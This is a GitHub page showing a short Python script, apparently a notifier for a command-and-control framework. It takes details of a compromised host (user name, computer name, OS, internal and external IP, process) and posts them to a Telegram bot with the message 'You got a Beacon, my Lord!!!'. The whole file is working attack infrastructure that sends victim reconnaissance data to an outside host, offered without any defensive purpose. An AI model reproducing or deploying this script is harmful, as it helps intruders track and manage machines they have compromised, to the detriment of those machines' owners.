-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyScript.py
More file actions
47 lines (41 loc) · 1.63 KB
/
Copy pathpyScript.py
File metadata and controls
47 lines (41 loc) · 1.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
import requests
import sys
def send_message(msg):
token = "xxxxxxx:xxxxxxxxxxxxxxxxxxxx"
chat_id = "xxxxxxxxx"
url = f"https://api.telegram.org/bot{token}/sendMessage"
data = {"chat_id": chat_id, "text": msg}
try:
r = requests.post(url, data=data)
print(r.text)
except Exception as e:
print(e)
if __name__ == "__main__":
# 检查参数数量(至少要有用户名、计算机名、外网IP等)
if len(sys.argv) < 5:
print("Error: insufficient arguments")
sys.exit(1)
# 解析参数(注意:第0个是脚本名,第1个开始是字段)
userName = sys.argv[1] if len(sys.argv) > 1 else "Unknown"
computerName = sys.argv[2] if len(sys.argv) > 2 else "Unknown"
osInfo = sys.argv[3] if len(sys.argv) > 3 else "Unknown"
arch = sys.argv[4] if len(sys.argv) > 4 else "Unknown"
build = sys.argv[5] if len(sys.argv) > 5 else "Unknown"
internalIP = sys.argv[6] if len(sys.argv) > 6 else "Unknown"
externalIP = sys.argv[7] if len(sys.argv) > 7 else "Unknown"
processName = sys.argv[8] if len(sys.argv) > 8 else "Unknown"
# 在 Python 中拼接完整消息(支持任意格式和语言)
msg = f"""
-----------------------------------------------------------
🎯 You got a Beacon, my Lord!!!
User : {userName}
Computer Name : {computerName}
OS : {osInfo} {arch} {build}
Process : {processName}
Internal IP : {internalIP}
External IP : {externalIP}
-----------------------------------------------------------
"""
# 发送消息
send_message(msg)